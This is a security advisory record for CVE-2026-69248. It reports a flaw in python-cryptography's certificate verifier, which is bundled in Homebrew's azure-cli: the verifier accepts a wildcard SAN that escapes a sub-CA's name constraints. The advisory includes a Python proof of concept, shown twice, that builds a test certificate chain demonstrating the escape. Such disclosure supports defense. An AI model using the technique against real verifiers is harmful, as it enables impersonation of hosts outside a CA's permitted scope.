BREW-AZURE-CLI-CVE-2026-69248 (GHSA-M2H6-J472-RP4C)

Vulnerability from osv_homebrew – Published: 2026-08-13 16:37 – Updated: 2026-10-08 01:16 – Source website
VLAI
Summary
python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees
Details

Summary

If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC

#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.

Setup:
  Sub-CA permitted constraint: dNSName = foo.example.com
  Leaf SAN:                    dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)

now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)

def build(subject, issuer, key, issuer_key, ca, exts=()):
    b = (x509.CertificateBuilder()
         .subject_name(subject).issuer_name(issuer)
         .public_key(key.public_key())
         .serial_number(x509.random_serial_number())
         .not_valid_before(now - 30 * day)
         .not_valid_after(now + 3650 * day)
         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
    for e, c in exts:
        b = b.add_extension(e, c)
    return b.sign(issuer_key, hashes.SHA256())

# Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)

# Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
    permitted_subtrees=[x509.DNSName("foo.example.com")],
    excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])

# Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])

# Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
    x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
    PolicyBuilder()
    .store(Store([root]))
    .time(now)
    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
    .build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
    v.verify(leaf, [sub])
    print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
    print(f"EXPECTED: VerificationError: {e}")

Impact

Acceptance of invalid certificate chain.


{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": null,
        "range_state": "affected",
        "resource": "cryptography",
        "resource_purl": "pkg:pypi/cryptography@48.0.1",
        "upstream_fixed_in": "49.0.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "azure-cli",
        "purl": "pkg:brew/azure-cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/cryptography@48.0.1",
        "name": "cryptography",
        "resource": "cryptography",
        "strategy": "registry",
        "subject_version": "48.0.1"
      }
    ]
  },
  "details": "### Summary\nIf an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography\u0027s verifier accepts which allows escaping outside of the permitted names.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca\u0027s DNSConstraint::matches admits a too-broad wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n  Leaf SAN:                    dNSName = *.example.com\nExpected: rejection (RFC 5280 \u00a74.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com` and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n         .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n         .serial_number(x509.random_serial_number())\n         .not_valid_before(now - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e, c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n# Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot = build(rn, rn, rk, rk, True)\n\n# Sub-CA constrained to foo.example.com\nsk = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n    excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc, True)])\n\n# Leaf with SAN *.example.com (over-broad relative to the constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf = build(ln, sn, lk, sk, False, [(san, False)])\n\n# Policies\nca_pol = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints, Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n    PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n    v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com\")\nexcept VerificationError as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n### Impact\n\nAcceptance of invalid certificate chain.",
  "id": "BREW-azure-cli-CVE-2026-69248",
  "modified": "2026-10-08T01:16:58Z",
  "published": "2026-08-13T16:37:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69248"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyca/cryptography/pull/14888"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyca/cryptography/commit/286c89128"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyca/cryptography"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees",
  "upstream": [
    "GHSA-m2h6-j472-rp4c",
    "CVE-2026-69248",
    "PYSEC-2026-3554"
  ]
}



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